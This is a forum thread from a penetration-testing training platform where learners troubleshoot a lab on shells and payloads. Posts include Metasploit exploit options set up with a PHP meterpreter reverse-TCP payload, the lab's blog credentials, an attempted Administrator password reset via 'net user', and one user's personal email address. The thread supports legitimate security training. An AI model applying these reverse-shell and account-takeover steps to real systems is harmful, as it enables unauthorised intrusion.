Reverse Shell & Payloads - The live engagement

HTB Content Academy
24

Hello, I am the same as you, have you solved the problem?
a greeting

25

I have got the shell on Host-3 but I am not able to see the flag.txt file. It is in the Administrator user and I think I have to change the password
, but I am not able to do it. I have used “net user Administrator password” but it gives me access denied. Any ideas please?
I have also tried with net user DefaultAccount password, and it doesn’t work either. something escapes me :face_with_raised_eyebrow:

1 Like
26

Refer to the module “Infiltrating Windows”. No need to go down the path you are on. There’s a specific exploit in that module that should get you what you need. I spent way too long on this one as well. Super simple, just need the correct exploit in msf.

27

Same problem, have you found the solution ?

28

Thanks!

29

you must put the URL on the VHOST and run

30

Thanks

31

Annoying Module but realistic and fun. Check out this blog. Installing Additional Modules in Metasploit - HackingVision

I felt it did a better job explaining how to install modules and make them work.

32

Now I get new error not sure why.
[-] Exploit aborted due to failure: unexpected-reply: Unexpected json response
Also tried reverse and bind both same error.

33

I was able to solve it after using Hint 2 for the correct credentials.
I am wondering is there anyway to get these credentials without using the hint?
did I have to brute force it?

34

Also make sure you’re using blog.inlanefreight.local, not blog.inlanefreight.htb :slight_smile:

35

On the jump host is an file there are the Creds

36

You have to set the VHOST correctly, then it will work

37

I get an “permission denied” error after I type updatedb… How do I use the module in msfconsole…

38

Hi. May I have a note with you about SHELLS & PAYLOADS – SHELLS & PAYLOADS? I am in China, where the firewall is very powerful. Even if I connect to a VPN, it is difficult to complete the turnaround between multiple machines. Can you send a note about you to my Google mailbox? 1489481887jlb@gmail.com Thank you

39

is The Live Engagement chapter, I made a typo

40

The performance of the lab is very bad - this could be improved.
If this lab would include more enumeration with the browser … no chance.

Overall leaned some useful thins in this room.

Thx and keep h4ck1ng

2 Likes
41

I need help here and maybe I’m just stupid but how can I use my VM instead of the RDP machine I have to connect to via rdp?
I connected via xfreerdp but what I’m I supposed to do there? Seems like the machine does not have a browser installed. How can I use my VM?

1 Like
42

to open firefox use /usr/bin/firefox
if displays and error that cant open firefox sometimes the machine is blockin it, just reset the foothold and try again
if the firefox cant display the web page check the proxy and select “no proxy” then refresh
if firefox still cant connect close it and open it again and try.

That fixed it to me
another option is set manual proxy http 127.0.0.1 and port 8080 (same as burp) and select same as https
try

1 Like
43

Hello. I too am stumped by section 2.
I ran exploit with the following options, but I got an error.
I have specified VHOST but it does not work.
How can I solve this problem?

msf6 exploit(50064) > show options

Module options (exploit/50064):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   PASSWORD   admin!@#             yes       Blog password
   Proxies                         no        A proxy chain of format type:host
                                             :port[,type:host:port][...]
   RHOSTS     inlanefreight.local  yes       The target host(s), range CIDR id
                                             entifier, or hosts file with synt
                                             ax 'file:<path>'
   RPORT      80                   yes       The target port (TCP)
   SSL        false                no        Negotiate SSL/TLS for outgoing co
                                             nnections
   TARGETURI  /                    yes       The URI of the arkei gate
   USERNAME   admin                yes       Blog username
   VHOST      blog                 no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.1.5       yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP payload


msf6 exploit(50064) > run

[-] Exploit failed: One or more options failed to validate: RHOSTS.
[*] Exploit completed, but no session was created